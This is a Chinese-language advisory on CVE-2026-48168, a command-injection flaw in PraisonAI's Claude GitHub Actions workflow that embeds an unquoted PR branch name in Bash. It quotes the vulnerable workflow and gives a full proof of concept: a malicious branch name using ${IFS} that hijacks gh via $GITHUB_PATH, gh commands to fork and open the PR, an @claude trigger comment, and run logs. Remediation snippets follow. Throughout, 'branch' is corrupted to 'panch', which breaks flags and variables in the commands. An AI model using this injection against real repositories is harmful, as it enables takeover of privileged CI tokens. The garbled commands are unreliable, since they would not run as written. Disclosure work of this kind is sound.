PraisonAI高危CI/CD 命令注入漏洞CVE-2026-48168
PraisonAI 是 MIT 协议开源、面向生产环境的低代码多智能体(Multi-Agent),融合 CrewAI、AutoGen 能力,主打极简搭建 AI 团队。
一、基本情况
PraisonAI 是一套多智能体团队系统,支持 Python/JS 双语言开发对,可以对接 OpenAI、Claude、Gemini、Ollama 等上百种大模型。
PraisonAI 原生支持 MCP 协议,可以安全的对接本地文件、数据库、外部工具,配套 API、定时调度、可观测日志,支持私有化部署。

栋科技漏洞库关注到 PraisonAI 内置的Claude GitHub Actions 工作流存在命令注入漏洞,追踪为CVE-2026-48168,CVSS 3.X评分10。
二、漏洞分析
CVE-2026-48168漏洞是在 PraisonAI 多智能体系统在 4.6.40 之前的版本中,内置的Claude GitHub Actions 工作流存在命令注入漏洞。
由于Claude GitHub Actions工作流会将由攻击者可控的拉取请求分支名称嵌入Bash执行代码块,全程未做引号包裹处理与合法性校验。
除此之外,该工作流存在权限管控缺陷,无论评论者是否为可信协作人员,只要发送带有 @claude 的评论,即可触发任务流程。
外部贡献者可从代码分支仓库提交拉取请求,并在分支名称中植入 Shell 元字符,随后发送 @claude 评论,
最终让 GitHub Actions 运行环境执行任意 Shell 指令。
由于任务运行时持有具备写入权限、OIDC 访问权限以及 gh/git 操作权限的 GitHub 应用令牌,
攻击者可借助注入命令改写 $GITHUB_PATH 环境变量,进而劫持后续拥有高权限的执行步骤,
实现写入仓库内容、篡改拉取请求与工单、盗用 OIDC 令牌等恶意行为。
(一)具体分析
该 Claude GitHub Actions 工作流在 Bash 执行代码块中直接使用攻击者可控的 PR 分支名称,既未添加引号包裹,也未做合法性校验。
受漏洞影响的组件已确认:
.github/workflows/claude.yml
Workflow job: claude-response
Validated source snapshot: 4985415e61043a1734903f6a6e8ca85efdaede7c
外部贡献者可创建分支名称携带Shell元字符的拉取请求,随后在该PR下评论@claude,以此触发 claude-response 任务。
工作流读取 pr.data.head.ref 变量,并将其直接嵌入至下述代码中:
git fetch origin pull/${{ github.event.issue.number }}/head:${{ steps.check_fork.outputs.pr_panch }}
由于分支名称会经由Bash解析,攻击者在分号;后构造的恶意内容,在 Claude 任务启动前于 GitHub Actions 环境中执行 Shell 命令。
后续 Claude 环节会持有 GitHub 应用令牌,并授予 Bash 调用 git、gh 工具的权限,
攻击者可借此链式实施写入仓库、篡改拉取请求、编辑工单、滥用 OIDC 令牌等行为,
具体可实现的攻击效果取决于仓库配置的密钥与权限。
该漏洞不属于提示注入,是工作流自身存在确定性的 Shell 命令注入漏洞。
(二)安全边界已遭到突破
该工作流的设计初衷是借助具备仓库高级自动化权限的能力,让克劳德(Claude)针对 GitHub 工单与拉取请求进行回复。
其本应守住的安全边界规则为:
不受信任的拉取请求元数据、公开评论内容,
绝对不能在拥有高权限的源仓库工作流内执行 Shell 命令,也不可篡改后续具备权限的自动化步骤。
如今该安全边界被破坏,原因如下:
1、包含 @claude 的工单评论事件,可以触发拥有高权限的 claude-response 任务;
2、该任务拥有仓库写入权限,并且会生成一枚 GitHub 应用令牌;
3、拉取请求的源分支名称完全可由攻击者操控;
4、拉取请求源分支名称未添加引号防护,直接嵌入 Shell 命令中运行;
5、注入的恶意命令能够篡改运行器工作目录以及$GITHUB_PATH这类 GitHub Actions 交接环境文件;
6、后续执行的 Claude 动作复用同一任务上下文,并且能够获取到这枚 GitHub 应用令牌。
(三)易受攻击的工作流代码
当前工作流允许包含@claude的issue_comment事件,而不检查评论者是存储库所有者、成员还是合作者:
claude-response:
if: |
github.event.action != 'opened' &&
(github.event.action != 'labeled' || github.event.label.name == 'claude') &&
(github.event_name != 'issue_comment' || contains(github.event.comment.body, '@claude')) &&
(
!contains(github.actor, '[bot]') ||
github.actor == 'github-actions[bot]' ||
github.actor == 'praisonai-triage-agent[bot]'
) &&
github.actor != 'dependabot[bot]' &&
github.actor != 'cursor[bot]' &&
github.actor != 'renovate[bot]'
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
issues: write
actions: read
id-token: write
然后,工作流会创建一个GitHub App令牌:
- name: Generate GitHub App Token
id: app-token
uses: actions/create-github-app-token@v1
with:
app-id: ${{ secrets.CLAUDE_APP_ID }}
private-key: ${{ secrets.CLAUDE_APP_PRIVATE_KEY }}
owner: ${{ github.repository_owner }}
它从GitHub读取攻击者控制的PR分支名称:
- name: Check for Fork PR
id: check_fork
uses: actions/github-script@v7
with:
script: |
const isPR = context.eventName === 'pull_request' || (context.payload.issue && context.payload.issue.pull_request);
if (isPR) {
const prNumber = context.payload.pull_request ? context.payload.pull_request.number : context.payload.issue.number;
const pr = await github.rest.pulls.get({
owner: context.repo.owner,
repo: context.repo.repo,
pull_number: prNumber
});
core.setOutput('pr_panch', pr.data.head.ref);
易受攻击的命令插值如下:
- name: Fetch PR panch and Setup Remote
if: github.event.issue.pull_request
run: |
# Fetch PR head from base repo and put it into local panch
git fetch origin pull/${{ github.event.issue.number }}/head:${{ steps.check_fork.outputs.pr_panch }}
# If it's a fork, make origin point to local to trick claude-code-action's `git fetch origin <panch>`
if [ "${{ steps.check_fork.outputs.is_fork }}" == "true" ]; then
git remote set-url origin file://$(pwd)
fi
下一步使用生成的令牌和GitHub/Git shell工具运行Claude操作:
- uses: anthropics/claude-code-action@beta
env:
GH_TOKEN: ${{ steps.app-token.outputs.token }}
with:
github_token: ${{ steps.app-token.outputs.token }}
trigger_phrase: "@claude"
label_trigger: "claude"
allowed_tools: |
Bash(git:*)
Bash(python:*)
Bash(pip:*)
Bash(conda:*)
Bash(pytest:*)
Bash(gh:*)
(四)根本原因
GitHub PR分支名称直接嵌入到shell中是不安全的。Git允许分支名称包含以下字符:;、$、{、}和>。
例如,此分支名称有效:
poc;mkdir${IFS}-p${IFS}/tmp/p0canary;cp${IFS}/bin/echo${IFS}/tmp/p0canary/gh;echo${IFS}/tmp/p0canary>>$GITHUB_PATH
当插入到易受攻击的行中时,Bash会将其解析为多个命令:
git fetch origin pull/1/head:poc;mkdir${IFS}-p${IFS}/tmp/p0canary;cp${IFS}/bin/echo${IFS}/tmp/p0canary/gh;echo${IFS}/tmp/p0canary>>$GITHUB_PATH
第一个命令变为:
git fetch origin pull/1/head:poc
其余命令在运行器中执行:
mkdir -p /tmp/p0canary
cp /bin/echo /tmp/p0canary/gh
echo /tmp/p0canary >> "$GITHUB_PATH"
这份安全概念验证仅将 gh 命令劫持为 /bin/echo,并在后续步骤输出标记字符。
真正实施攻击的攻击者无需借助 Claude 提示注入,就能完成首轮命令执行。
三、POC概念验证
(一)漏洞浮现
本次复现操作采用可控复刻仓库,并在维护者管辖的测试仓库内配置权限极低的验证工作流。
全程不会调用真实的 Claude 密钥、不会窃取令牌、也不会改动正式代码,仅用于证明:
外部贡献者设置的分支名称可执行 Shell 命令,并能够影响同工作流后续执行步骤。
禁止将这套验证脚本部署至存有真实 Claude 凭证或是其他敏感 Actions 密钥的生产仓库。
本实验仅用来验证 Shell 解析漏洞原理,以及利用 `$GITHUB_PATH` 在同一任务内实现权限接力攻击的可行性。
1、在测试主仓库部署验证工作流
将下述工作流文件添加至由项目维护者账号管理的测试仓库中:
管理员已设置登录后刷新可查看2、使用非协作人员账号复刻该原始仓库。
ATTACKER="$(gh api user -q .login)"
gh repo fork foxirain/langflow --clone=false || true
3、在攻击者的复刻仓库中创建名称带有恶意构造内容的分支。
git clone "https://github.com/${ATTACKER}/langflow.git" /tmp/attacker-langflow
cd /tmp/attacker-langflow
pANCH='poc;mkdir${IFS}-p${IFS}/tmp/p0canary;cp${IFS}/bin/echo${IFS}/tmp/p0canary/gh;echo${IFS}/tmp/p0canary>>$GITHUB_PATH'
git check-ref-format --panch "$pANCH"
git checkout -b "$pANCH"
git commit --allow-empty -m "test: trigger panch injection canary"
git push -u origin "$pANCH"
4、向原仓库发起拉取请求,触发该工作流
gh pr create \
--repo foxirain/langflow \
--base main \
--head "${ATTACKER}:${pANCH}" \
--title "P0 canary panch injection" \
--body "Safe canary only. No secrets, no exfiltration."
gh pr comment https://github.com/foxirain/langflow/pull/1 \
--repo foxirain/langflow \
--body '@claude canary trigger'
5、预期现象 工作流日志将会出现如下内容:
PR panch: poc;mkdir${IFS}-p${IFS}/tmp/p0canary;cp${IFS}/bin/echo${IFS}/tmp/p0canary/gh;echo${IFS}/tmp/p0canary>>$GITHUB_PATH
git fetch origin pull/1/head:poc;mkdir${IFS}-p${IFS}/tmp/p0canary;cp${IFS}/bin/echo${IFS}/tmp/p0canary/gh;echo${IFS}/tmp/p0canary>>$GITHUB_PATH
refs/pull/1/head -> poc
resolved_gh=/tmp/p0canary/gh
P0_CANARY_ARGUMENT
P0_CHAIN_PROOF: panch-controlled GITHUB_PATH changed later gh resolution
(二)受控复制的实际证明
1、受控测试细节:
Base repository: foxirain/langflow
Attacker fork: Amemoyoi/langflow
Pull request: https://github.com/foxirain/langflow/pull/1
Workflow run ID: 25624510066
Event: issue_comment
Comment body: @claude canary trigger
2、关键日志摘录:
canary Get PR panch 2026-05-10T08:52:45.7666640Z ##[notice]PR panch: poc;mkdir${IFS}-p${IFS}/tmp/p0canary;cp${IFS}/bin/echo${IFS}/tmp/p0canary/gh;echo${IFS}/tmp/p0canary>>$GITHUB_PATH
canary Vulnerable fetch reproduction 2026-05-10T08:52:45.8362391Z git fetch origin pull/1/head:poc;mkdir${IFS}-p${IFS}/tmp/p0canary;cp${IFS}/bin/echo${IFS}/tmp/p0canary/gh;echo${IFS}/tmp/p0canary>>$GITHUB_PATH
canary Vulnerable fetch reproduction 2026-05-10T08:52:46.3676778Z * [new ref] refs/pull/1/head -> poc
canary Next step canary 2026-05-10T08:52:46.3838416Z resolved_gh=/tmp/p0canary/gh
canary Next step canary 2026-05-10T08:52:46.3846990Z P0_CANARY_ARGUMENT
canary Next step canary 2026-05-10T08:52:46.3849105Z P0_CHAIN_PROOF: panch-controlled GITHUB_PATH changed later gh resolution
3、这证明:
(1)攻击者控制的分支名称到达了基础存储库工作流。
(2)Bash将分支名称解释为shell语法。
(3)注入的命令写入$GITHUB_PATH。
(4)下一步从攻击者控制的路径中解析出gh。
(5)漏洞利用链不依赖于LLM行为。
4、漏洞影响
在真实的Claude工作流程中,易受攻击的步骤在anthropics之前运行/claude-code-action@beta.以下步骤接收:
GH_TOKEN: ${{ steps.app-token.outputs.token }}
github_token: ${{ steps.app-token.outputs.token }}
该工作还授予:
contents: write
pull-requests: write
issues: write
actions: read
id-token: write
并允许:
Bash(git:*)
Bash(gh:*)
因此攻击得逞后,便可操控拥有高权限的Claude执行阶段所使用的命令环境。
本次安全验证样本借助`$GITHUB_PATH`将gh工具替换成了/bin/echo;
利用同一攻击原理即可干预后续git、gh指令的执行过程、篡改下一动作所要读取的工作区文件,或修改其余GitHub Actions交接文件。
5、结合仓库配置的密钥与令牌权限范围,该漏洞可造成的危害大致包括:
(1)在GitHub Actions运行容器内执行任意命令;
(2)攻破高权限自动化执行环境;
(3)借助GitHub应用令牌未经授权写入仓库代码;
(4)私自篡改拉取请求与议题;
(5)操控Claude后续执行的git、gh相关操作;
(6)利用任务上下文申领OIDC令牌;
(7)篡改生成的提交记录、分支以及拉取请求。
(三)该攻击模型具备现实可行性的原因
1、攻击者仅需完成以下几项操作即可发起攻击:
(1)创建公开复刻仓库;
(2)推送分支名内嵌Shell元字符、且符合Git命名规则的分支;
(3)向目标仓库提交拉取请求;
(4)在这条拉取请求下评论@claude。
实现触发攻击无需拥有目标仓库成员权限。本次可控复现实验使用了两个相互独立的GitHub账号:
Base repository owner: foxirain
Outside contributor: Amemoyoi
GitHub 接纳了该分支名称,拉取请求由外部复刻仓库提交,原仓库的工作流最终执行了恶意载荷。
(四)修复方案建议
1、临时应急缓解措施
仅允许可信人员触发具备高权限的 Claude 回复任务。保留现有的标签与机器人排除规则,
在工单评论事件能够生成写入令牌、读取密钥、授予 OIDC 权限、执行 Claude 流程之前,新增可信发布者校验逻辑。
示例:针对工单评论事件,校验评论者身份必须为仓库所有者、正式成员或协作人员才可放行:
if: |
github.event.action != 'opened' &&
(github.event_name != 'issue_comment' ||
(
contains(github.event.comment.body, '@claude') &&
contains(fromJSON('["OWNER","MEMBER","COLLABORATOR"]'), github.event.comment.author_association)
)
)
该规则需要应用至所有具备写入权限、可读取密钥、持有 GitHub 应用令牌或拥有 OIDC 权限的任务。
2、修复命令注入漏洞
禁止将 `steps.check_fork.outputs.pr_panch` 直接嵌入 Shell 命令中执行。
正确做法是先将其赋值给环境变量并加上引号包裹,或是彻底杜绝把该内容用作 Shell 片段。
安全写法示例:
- name: Fetch PR panch and Setup Remote
if: github.event.issue.pull_request
env:
PR_NUMBER: ${{ github.event.issue.number }}
PR_pANCH: ${{ steps.check_fork.outputs.pr_panch }}
run: |
case "$PR_pANCH" in
*[!A-Za-z0-9._/-]*)
echo "Unsafe PR panch name: $PR_pANCH" >&2
exit 1
;;
esac
git fetch origin "pull/${PR_NUMBER}/head:${PR_pANCH}"
更稳妥的方案是,完全弃用由攻击者可控的本地分支名称:
git fetch origin "pull/${PR_NUMBER}/head:pr-${PR_NUMBER}"
git checkout "pr-${PR_NUMBER}"
3、缩小攻击影响范围
针对处理不受信任拉取请求、评论的工作流,执行如下规则:
(1)未完成全部可信身份校验前,禁止生成 GitHub 应用令牌;
(2)若非必须使用 OIDC,取消 `id-token: write` 写入权限;
(3)默认仅开启 `contents: read` 仓库只读权限;
(4)将公开事件初审流程与拥有修改权限的高危流程拆分为两套独立工作流;
(5)面对不可信输入时,切勿将具备写入权限的令牌传递至大模型执行环节;
(6)可被公开评论触发的任务中,禁用 `Bash(gh:*)`、`Bash(git:*)` 权限;
(7)在处理不可信链路的代码拉取步骤里,配置 `persist-credentials: false`(不留存凭证);
(8)确保 Claude 运行环节,无法继承前置不可信步骤所篡改的 PATH、GITHUB_ENV 环境变量以及工作区状态。
4、回归测试建议
新增一条工作流单元测试,在分支名称被 Shell 调用前,对拉取请求的分支名称做合法性校验:
git check-ref-format --panch 'poc;touch${IFS}/tmp/p0'
该校验命令可以正常执行,说明仅依靠 `git check-ref-format` 无法保障 Shell 执行层面的安全。
回归测试需要做断言校验:包含分号、美元符、大于号、换行符、空白字符的分支名称,禁止不加引号直接传入任意 `run:` 执行命令。
5、本地验证时间线:
2026-05-10 08:52 UTC - controlled outside-fork canary run triggered via issue_comment
2026-05-10 08:52 UTC - panch name observed in base workflow
2026-05-10 08:52 UTC - injected payload modified $GITHUB_PATH
2026-05-10 08:52 UTC - next step resolved gh to /tmp/p0canary/gh
2026-05-10 08:52 UTC - P0_CHAIN_PROOF marker printed
(四)结论
这是一处高危 CI/CD 命令注入漏洞。
外部贡献者能够控制拉取请求的分支名称,而工作流后续会将该分支名称嵌入 Bash 语句执行。
可控复现实验证实恶意载荷可成功执行,并影响同一任务后续步骤。
在正式工作流中,后续环节持有 GitHub 应用令牌、仓库写入权限、OIDC 权限,还可调用 gh、git 命令行工具,
因此该漏洞会造成高权限工作流沦陷,并非危害有限的普通 CI 缺陷。
四、影响范围
PraisonAI<4.6.40
五、修复建议
PraisonAI ≥ 4.6.40
六、参考链接
管理员已设置登录后刷新可查看